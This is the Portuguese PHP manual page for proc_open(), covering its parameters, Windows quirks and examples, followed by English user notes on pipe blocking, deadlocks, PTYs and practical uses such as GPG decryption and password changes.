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proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open Executa um comando e abre ponteiros de arquivo para entrada/saída

Descrição

proc_open(
    array|string $command,
    array $descriptor_spec,
    array &$pipes,
    ?string $cwd = null,
    ?array $env_vars = null,
    ?array $options = null
): resource|false

proc_open() é similar a popen() mas fornece um grau de controle muito maior sobre a execução do programa.

Parâmetros

command

A linha de comando a executar, como uma string. Caracteres especiais precisam ser escapados adequadamente, e o uso de aspas deve ser apropriadamente aplicado.

Nota: No Windows, a menos que bypass_shell esteja definido para true no parâmetro options, o comando em command é passado para cmd.exe (na verdade, %ComSpec%) com a opção /c como uma string sem aspas (isto é, exatamente como fornecido a proc_open()). Isto pode fazer com que cmd.exe remova as aspas que envolvem o comando em command (para detalhes, consulte a documentação do cmd.exe), resultando em comportamento inesperado e potencialmente perigoso, porque as mensagens de erro de cmd.exe podem conter (partes dos) comandos passados em command (veja exemplo abaixo).

A partir do PHP 7.4.0, command pode ser passado como um array de parâmetros de comandos. Neste caso, o processo será aberto diretamente (sem passar por um "shell") e o PHP irá gerenciar qualquer escape de argumentos se necessário.

Nota:

No Windows, o escape de argumentos dos elementos do array assume que a análise de linha de comando é compatível com a análise dos argumentos de linha de comando feita pelas bibliotecas em tempo de execução do VC.

descriptor_spec

Um array indexado onte a chave representa o número descritor e o valor representa como o PHP irá passar esse descritor ao processo filho. 0 é stdin, 1 é stdout e 2 é stderr.

Cada elemento pode ser:

  • Um array descrevendo o tubo a ser passado ao processo. O primeiro elemento é o tipo do descritor e o segundo elemento é uma opção para o tipo fornecido. Tipos válidos são pipe (o segundo elemento pode ser r para passar a ponta de leitura do tubo ao processo, ou w para passar a ponta de escrita) e file (o segundo elemento é um nome de arquivo). Observe que qualquer outro tipo diferente de w é tratado como r.
  • Um recurso de fluxo representando um descritor de arquivo real (ex.: arquivo aberto, um soquete ou STDIN).

O número do descritor de arquivo não é limitado a 0, 1 e 2 - pode-se especificar qualquer número válido de descritor de arquivo e ele será passado ao processo filho. Isto permite que o script consiga operar com outros scripts que são executados como "co-processos". Em particular, isto é útil para passar senhas a programas como PGP, GPG e openssl de uma forma mais segura. Também é útil para ler informações de estado de decritores de arquivos auxiliares fornecidas por estes programas.

pipes

Será definido para um array indexado de ponteiros de arquivos que corresponde à ponta do PHP de qualquer tubo que seja criado.

cwd

O diretório de trabalho inicial para o comando. Precisa ser um caminho de diretório absoluto, ou null se for desejado usar o valor padrão (o diretório de trabalho do processo PHP atual)

env_vars

Um array com as variáveis de ambiente para o comando que será executado, ou null para usar o mesmo ambiente do processo PHP atual

options

Permite especificar opções adicionais. As opções atualmente suportadas incluem:

  • suppress_errors (somente Windows): suprime erros gerados por esta função quando definida para true
  • bypass_shell (somente Windows): ignora o "shell" cmd.exe quando definida para true
  • blocking_pipes (somente Windows): força tubos no modo de bloqueio quando definida para true
  • create_process_group (somente Windows): permite ao processo filho lidar com eventos CTRL quando definida para true
  • create_new_console (somente Windows): o novo processo terá um novo console, ao invés de herdar o console do processo pai

Valor Retornado

Retorna um recurso representando o processo, que deve ser liberado usando proc_close() quando seu uso tiver sido finalizado. Em caso de falha retorna false.

Registro de Alterações

Versão Descrição
7.4.4 Adicionada a opção create_new_console ao parâmetro options.
7.4.0 proc_open() agora aceita um array para o parâmetro command.
7.4.0 Adicionada a opção create_process_group ao parâmetro options.

Exemplos

Exemplo #1 Um exemplo de proc_open()

<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin é um tubo de onde o processo filho irá ler
1 => array("pipe", "w"), // stdout é um tubo no qual o processo filho irá escrever
2 => array("file", "/tmp/error-output.txt", "a") // stderr é um arquivo que será escrito
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (
is_resource($process)) {
// $pipes agora será parecido com:
// 0 => manipulador que pode ser escrito, conectado ao stdin filho
// 1 => manipulador que pode ser lido, conectado ao stdout filho
// Qualquer saída de erro será anexaa ao /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo
stream_get_contents($pipes[1]);
fclose($pipes[1]);

// É importante fechar todos os tubos antes de chamar
// proc_close para evitar o beco sem saída
$return_value = proc_close($process);

echo
"comando retornou $return_value\n";
}
?>

O exemplo acima produzirá algo semelhante a:

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
comando retornou 0

Exemplo #2 Peculiaridade de proc_open() no Windows

Embora seja esperado que o programa a seguir pesquise o arquivo filename.txt pelo texto search e mostre os resultados, ele se comporta de maneira bastante diferente.

<?php
$descriptorspec
= [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

O exemplo acima produzirá:

'findstr" "search" "filename.txt' is not recognized as an internal or external command,
operable program or batch file.

Para contornar este comportamento, normalmente é suficiente envolver command com aspas adicionais:

$cmd = '""findstr" "search" "filename.txt""';

Notas

Nota:

Compatibilidade com Windows: Descritores além de 2 (stderr) estão disponíveis para o processo filho como manipuladores que podem ser herdados, mas como a arquitetura Windows não associa números de descritores de arquivos a manipuladores de baixo nível, o processo filho não tem (ainda) meios de acessar esses manipuladores. Stdin, stdout e stderr funcionam conforme esperado.

Nota:

Se for necessário somente um tubo de processo unidirecional (mão única), utilize a função popen(), pois é muito mais fácil de usar.

Veja Também

  • popen() - Abre um processo como ponteiro de arquivo
  • exec() - Executa um programa externo
  • system() - Executa um programa externo e mostra a saída
  • passthru() - Executa um programa externo e mostra a saída bruta
  • stream_select() - Executa o equivalente à chamada de sistema select() nos arrays de fluxos informados com um limite de tempo especificado por segundos e microssegundos
  • O operador crase

add a note

User Contributed Notes 39 notes

up
10
Bobby Dylan
1 year ago
I'm not sure when the "blocking_pipes (windows only)" option was added to PHP, but users of this function should be fully aware that there is no such thing as a non-blocking pipe in PHP on Windows and that the "blocking_pipes" option does NOT function like you might expect. Passing "blocking_pipes" => false does NOT mean non-blocking pipes.

PHP uses anonymous pipes to start processes on Windows. The Windows CreatePipe() function does not directly support overlapped I/O (aka asynchronous), which is typically how async/non-blocking I/O happens on Windows. SetNamedPipeHandleState() has an option called PIPE_NOWAIT but Microsoft has long discouraged the use of that option. PHP does not use PIPE_NOWAIT anywhere in the source code tree. PHP FastCGI startup code is the only place within the PHP source code that uses overlapped I/O (and also the only place that calls SetNamedPipeHandleState() with PIPE_WAIT). Further, stream_set_blocking() on Windows is only implemented for sockets - not file handles or pipes. That is, calling stream_set_blocking() on pipe handles returned by proc_open() will actually do nothing on Windows. We can derive from these facts that PHP does not have a non-blocking implementation for pipes on Windows and will therefore block/deadlock when using proc_open().

PHP's pipe read implementation on Windows uses PeekNamedPipe() by polling on the pipe until there is some data available to read OR until ~32 seconds (3200000 * 10 microseconds of sleep) have passed before giving up, whichever comes first. The "blocking_pipes" option, when set to true, changes that behavior to wait indefinitely (i.e. always block) until there is data on the pipe. It's better to view the "blocking_pipes" option as a "possibly 32 second busy wait" timeout (false - the default value) vs. no timeout (true). In either case, the boolean value for this option effectively blocks...it just happens to block a lot longer when set to true.

The undocumented string "socket" descriptor type can be passed to proc_open() and PHP will start a temporary TCP/IP server and generate a pre-connected TCP/IP socket pair for the pipe and pass one socket to the target process and return the other as the associated pipe. However, passing a socket handle for stdout/stderr on Windows causes the last chunk(s) of output to occasionally get lost and not be delivered to the receiving end. This is actually a known bug in Windows itself and Microsoft's response at one point was that CreateProcess() only officially supports anonymous pipes and file handles for the standard handles (i.e. not named pipes or socket handles) and that other handle types will produce "undefined behavior." For sockets, it will "sometimes work fine and sometimes truncate the output." The "socket" descriptor type also introduces a race condition that is probably a security vulnerability in proc_open() where another process can successfully connect to the server side BEFORE the original process connects to the socket to create the socket pair. This allows a rogue application to send malformed data to a process, which could trigger anything from privilege escalation to SQL injection depending on what the application does with the information on stdout/stderr.

To get true non-blocking I/O in PHP for Windows for standard process handles (i.e. stdin, stdout, stderr) without obscure bugs cropping up, the only currently working option is to use an intermediary process that uses TCP/IP blocking sockets to route data to blocking standard handles via multithreading (i.e. start three threads to route data between the TCP/IP socket and the standard HANDLE and use a temporary secret to prevent race conditions when establishing the TCP/IP socket handles). For those who lost count: That's one extra process, up to four extra threads, and up to four TCP/IP sockets just to get functionally correct non-blocking I/O for proc_open() on Windows. If you vomited a little bit at that idea/concept, well, people actually do this! Feel free to vomit some more.
up
27
php at keith tyler dot com
14 years ago
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc
=proc_open("echo foo",
array(
array(
"pipe","r"),
array(
"pipe","w"),
array(
"pipe","w")
),
$pipes);
print
stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open
("echo foo",
array(
array(
"pipe","r"),
array(
"pipe","w"),
array(
"pipe","w")
),
$pipes);
print
stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
up
26
devel at romanr dot info
12 years ago
The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.
up
3
vanyazin at gmail dot com
8 years ago
If you want to use proc_open() function with socket streams, you can open connection with help of fsockopen() function and then just put handlers into array of io descriptors:

<?php

$fh
= fsockopen($address, $port);
$descriptors = [
$fh, // stdin
$fh, // stdout
$fh, // stderr
];
$proc = proc_open($cmd, $descriptors, $pipes);
up
12
aaronw at catalyst dot net dot nz
8 years ago
If you have a CLI script that prompts you for a password via STDIN, and you need to run it from PHP, proc_open() can get you there. It's better than doing "echo $password | command.sh", because then your password will be visible in the process list to any user who runs "ps". Alternately you could print the password to a file and use cat: "cat passwordfile.txt | command.sh", but then you've got to manage that file in a secure manner.

If your command will always prompt you for responses in a specific order, then proc_open() is quite simple to use and you don't really have to worry about blocking & non-blocking streams. For instance, to run the "passwd" command:

<?php
$descriptorspec
= array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open(
'/usr/bin/passwd ' . escapeshellarg($username),
$descriptorspec,
$pipes
);

// It wil prompt for existing password, then new password twice.
// You don't need to escapeshellarg() these, but you should whitelist
// them to guard against control characters, perhaps by using ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// Read the responses if you want to look at them
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// It returns 0 on successful password change
$success = ($exit_status === 0);
?>
up
14
simeonl at dbc dot co dot nz
15 years ago
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output
= $read_error = false;
$buffer_len = $prev_buffer_len = 0;
$ms = 10;
$output = '';
$read_output = true;
$error = '';
$read_error = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
if (
$read_output != false)
{
if(
feof($pipes[1]))
{
fclose($pipes[1]);
$read_output = false;
}
else
{
$str = fgets($pipes[1], 1024);
$len = strlen($str);
if (
$len)
{
$output .= $str;
$buffer_len += $len;
}
}
}

if (
$read_error != false)
{
if(
feof($pipes[2]))
{
fclose($pipes[2]);
$read_error = false;
}
else
{
$str = fgets($pipes[2], 1024);
$len = strlen($str);
if (
$len)
{
$error .= $str;
$buffer_len += $len;
}
}
}

if (
$buffer_len > $prev_buffer_len)
{
$prev_buffer_len = $buffer_len;
$ms = 10;
}
else
{
usleep($ms * 1000); // sleep for $ms milliseconds
if ($ms < 160)
{
$ms = $ms * 2;
}
}
}

return
proc_close($process);
?>
up
10
mattis at xait dot no
13 years ago
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe
= '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
$in = fopen($inpipe, 'w');
fwrite($in, "A message for the inpipe reader\n");
fclose($in);

$out = fopen($outpipe, 'r');
while(!
feof($out)) {
echo
"From out pipe: " . fgets($out) . PHP_EOL;
}
fclose($out);

pcntl_waitpid($pid, $status);

if(
pcntl_wifexited($status)) {
echo
"Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
}

unlink($outpipe);
unlink($inpipe);
}

//child
else {
//parent
if($pid = pcntl_fork()) {
pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
}

//child
else {
pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
}
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
up
14
chris AT w3style DOT co.uk
16 years ago
It took me a long time (and three consecutive projects) to figure this out. Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

$this
->_proc = proc_open($command, $descriptorSpec, $pipes);
stream_set_blocking($pipes[2], 0);
if (
$err = stream_get_contents($pipes[2]))
{
throw new
Swift_Transport_TransportException(
'Process could not be started [' . $err . ']'
);
}

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.
up
5
ralf at dreesen[*NO*SPAM*] dot net
20 years ago
The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {

fwrite($pipes[0], $in);
/* fwrite writes to stdin, 'cat' will immediately write the data from stdin
* to stdout and blocks, when the stdout buffer is full. Then it will not
* continue reading from stdin and php will block here.
*/

fclose($pipes[0]);

while (!feof($pipes[1])) {
$out .= fgets($pipes[1], 1024);
}
fclose($pipes[1]);

$return_value = proc_close($process);
}
?>
up
7
Kyle Gibson
18 years ago
proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.
up
3
joachimb at gmail dot com
16 years ago
I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);

$process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
while (!
feof($pipes[1])) {
foreach(
$pipes as $key =>$pipe) {
$line = fread($pipe, 128);
if(
$line) {
print(
$line);
$this->log($line);
}
}
sleep(0.5);
}
...
?>

everything works fine.
up
6
michael dot gross at NOSPAM dot flexlogic dot at
11 years ago
Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).
up
6
mcuadros at gmail dot com
11 years ago
This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors
= array(
array(
'file', '/dev/tty', 'r'),
array(
'file', '/dev/tty', 'w'),
array(
'file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
up
4
php dot net_manual at reimwerker dot de
18 years ago
If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.
up
5
John Wehin
16 years ago
STDIN STDOUT example
test.php

<?php
$descriptorspec
= array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (
is_resource($process))
{
fwrite($pipes[0], "start\n"); // send start
echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
fwrite($pipes[0], "get\n"); // send get
echo ("Get: ".fgets($pipes[1],4096)); //get answer
fwrite($pipes[0], "stop\n"); //send stop
echo ("\n\nStop ....".fgets($pipes[1],4096)); //get answer

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process); //stop test_gen.php
echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys
=0;
function
play_stop()
{
global
$keys;
$stdin_stat_arr=fstat(STDIN);
if(
$stdin_stat_arr[size]!=0)
{
$val_in=fread(STDIN,4096);
switch(
$val_in)
{
case
"start\n": echo "Started\n";
return
false;
break;
case
"stop\n": echo "Stopped\n";
$keys=0;
return
false;
break;
case
"pause\n": echo "Paused\n";
return
false;
break;
case
"get\n": echo ($keys."\n");
return
true;
break;
default: echo(
"Передан не верный параметр: ".$val_in."\n");
return
true;
exit();
}
}else{return
true;}
}
while(
true)
{
while(
play_stop()){usleep(1000);}
while(
play_stop()){$keys++;usleep(10);}
}
?>
up
5
daniela at itconnect dot net dot au
21 years ago
Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
$descs = array (
0 => array ("file", "php://stdin", "r"),
1 => array ("pipe", "w"),
2 => array ("pipe", "w")
);
$proc = proc_open ("myprogram", $descs, $fp);
up
2
andrew dot budd at adsciengineering dot com
18 years ago
The pty option is actually disabled in the source for some reason via a #if 0 && condition. I'm not sure why it's disabled. I removed the 0 && and recompiled, after which the pty option works perfectly. Just a note.
up
3
bilge at boontex dot com
11 years ago
$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.
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8
Luceo
14 years ago
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec
= array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
?>
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3
exel at example dot com
10 years ago
pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment.

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
// make gz file
$fd=fopen("/tmp/testPipe", "w");
for(
$i=0;$i<100000;$i++)
fwrite($fd, md5($i)."\n");
fclose($fd);

if(
is_file("/tmp/testPipe.gz"))
unlink("/tmp/testPipe.gz");
system("gzip /tmp/testPipe");

// open process
$pipesDescr=array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/testPipe.log", "a"),
);

$process=proc_open("zcat", $pipesDescr, $pipes);
if(!
is_resource($process)) throw new Exception("popen error");

// set both pipes non-blocking
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);

////////////////////////////////////////////////////////////////////

$text="";
$fd=fopen("/tmp/testPipe.gz", "r");
while(!
feof($fd))
{
$str=fread($fd, 16384*4);
$try=3;
while(
$str)
{
$len=fwrite($pipes[0], $str);
while(
$s=fread($pipes[1], 16384*4))
$text.=$s;

if(!
$len)
{
// if yo remove this paused retries, process may fail
usleep(200000);
$try--;
if(!
$try)
throw new
Exception("fwrite error");
}
$str=substr($str, $len);
}
echo
strlen($text)."\n";
}
fclose($fd);
fclose($pipes[0]);

// reading the rest of output stream
stream_set_blocking($pipes[1], 1);
while(!
feof($pipes[1]))
{
$s=fread($pipes[1], 16384);
$text.=$s;
}

echo
strlen($text)." / 3 300 000\n";
?>
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1
weirdall at hotmail dot com
7 years ago
This script will tail a file using tail -F to follow scripts that are rotated.

<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that stdout will to write to
);

$filename = '/var/log/nginx/nginx-access.log';
if( !
file_exists( $filename ) ) {
file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (
is_resource($process)) {
// $pipes now looks like this:
// 0 => writeable handle connected to child stdin
// 1 => readable handle connected to child stdout
// Any error output will be sent to $pipes[2]

// Closing $pipes[0] because we don't need it
fclose( $pipes[0] );

// stderr should not block, because that blocks the tail process
stream_set_blocking($pipes[2], 0);
$count=0;
$stream = $pipes[1];

while ( (
$buf = fgets($stream,4096)) ) {
print_r($buf);
// Read stderr to see if anything goes wrong
$stderr = fread($pipes[2], 4096);
if( !empty(
$stderr ) ) {
print(
'log: ' . $stderr );
}
}
fclose($pipes[1]);
fclose($pipes[2]);

// It is important that you close any pipes before calling
// proc_close in order to avoid a deadlock
proc_close($process);
}
?>
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1
stoller at leonex dot de
8 years ago
If you are working on Windows and try to proc_open an executable that contains spaces in its path, you will get into trouble.

But there's a workaround which works quite well. I have found it here: http://stackoverflow.com/a/4410389/1119601

For example, if you want to execute "C:\Program Files\nodejs\node.exe", you will get the error that the command could not be found.
Try this:
<?php
$cmd
= 'C:\\Program Files\\nodejs\\node.exe';
if (
strtolower(substr(PHP_OS,0,3)) === 'win') {
$cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>
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3
Anonymous
16 years ago
I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec
= array(0 => array('pty'),
1 => array('pty'),
2 => array('pty'));
?>

pipes are bidirectional then
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2
hablutzel1 at gmail dot com
9 years ago
Note that the usage of "bypass_shell" in Windows allows you to pass a command of length around ~32767 characters. If you do not use it, your limit is around ~8191 characters only.

See https://support.microsoft.com/en-us/kb/830473.
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2
stevebaldwin21 at googlemail dot com
8 years ago
For those who are finding that using the $cwd and $env options cause proc_open to fail (windows). You will need to pass all other server environment variables;

$descriptorSpec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
);

proc_open(
"C:\\Windows\\System32\\PING.exe localhost,
$descriptorSpec ,
$pipes,
"C:\\Windows\\System32",
array($_SERVER)
);
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2
Matou Havlena - matous at havlena dot net
14 years ago
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
public
$executable = "C:\\www\\_PHP5_2_10\\php";
public
$root = "C:\\www\\parallelprocesses\\";
public
$scripts = array();
public
$processesRunning = 0;
public
$processes = 3;
public
$running = array();
public
$sleep_time = 2;

function
addScript($script, $max_execution_time = 300) {
$this->scripts[] = array("script_name" => $script,
"max_execution_time" => $max_execution_time);
}

function
exec() {
$i = 0;
for(;;) {
// Fill up the slots
while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
echo
"<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
ob_flush();
flush();
$this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
$this->processesRunning++;
$i++;
}

// Check if done
if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
break;
}
// sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
sleep($this->sleep_time);

// check what is done
foreach ($this->running as $key => $val) {
if (!
$val->isRunning() or $val->isOverExecuted()) {
if (!
$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
else echo
"<span style='color: red;'>Killed: ".$val->script."</span><br />";
proc_close($val->resource);
unset(
$this->running[$key]);
$this->processesRunning--;
ob_flush();
flush();
}
}
}
}
}
?>

Process class:
<?php
class Process {
public
$resource;
public
$pipes;
public
$script;
public
$max_execution_time;
public
$start_time;

function
__construct(&$executable, &$root, $script, $max_execution_time) {
$this->script = $script;
$this->max_execution_time = $max_execution_time;
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$this->resource = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
$this->start_time = mktime();
}

// is still running?
function isRunning() {
$status = proc_get_status($this->resource);
return
$status["running"];
}

// long execution time, proccess is going to be killer
function isOverExecuted() {
if (
$this->start_time+$this->max_execution_time<mktime()) return true;
else return
false;
}

}
?>

Example of using:
<?php
$manager
= new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
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1
Kevin Barr
18 years ago
I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
else return FALSE;
}
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1
radone at gmail dot com
16 years ago
To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:

<?php
function gpg_decrypt($string, $secret) {
$homedir = ''; // path to you gpg keyrings
$tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to
file_put_contents($tmp_file, $string);

$text = '';
$error = '';
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr ?? instead of a file
);
$command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';
$process = proc_open($command, $descriptorspec, $pipes);
if (
is_resource($process)) {
fwrite($pipes[0], $secret);
fclose($pipes[0]);
while(
$s= fgets($pipes[1], 1024)) {
// read from the pipe
$text .= $s;
}
fclose($pipes[1]);
// optional:
while($s= fgets($pipes[2], 1024)) {
$error .= $s . "\n";
}
fclose($pipes[2]);
}

file_put_contents($tmp_file, '');

if (
preg_match('/decryption failed/i', $error)) {
return
false;
} else {
return
$text;
}
}
?>
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1
MagicalTux at FF.ST
20 years ago
Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
- pipes from popen, proc_open
- pipes from fopen('php://stdin') (or stdout)
- sockets (unix or tcp/udp)
- many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php
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1
cbn at grenet dot org
14 years ago
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
* Execute and display the output in real time (stdout + stderr).
*
* Please note this snippet is prepended with an appropriate shebang for the
* CLI. You can re-use only the function.
*
* Usage example:
* chmod u+x proc_open.php
* ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
*/
define(BUF_SIZ, 1024); # max buffer size
define(FD_WRITE, 0); # stdin
define(FD_READ, 1); # stdout
define(FD_ERR, 2); # stderr

/*
* Wrapper for proc_*() functions.
* The first parameter $cmd is the command line to execute.
* Return the exit code of the process.
*/
function proc_exec($cmd)
{
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);

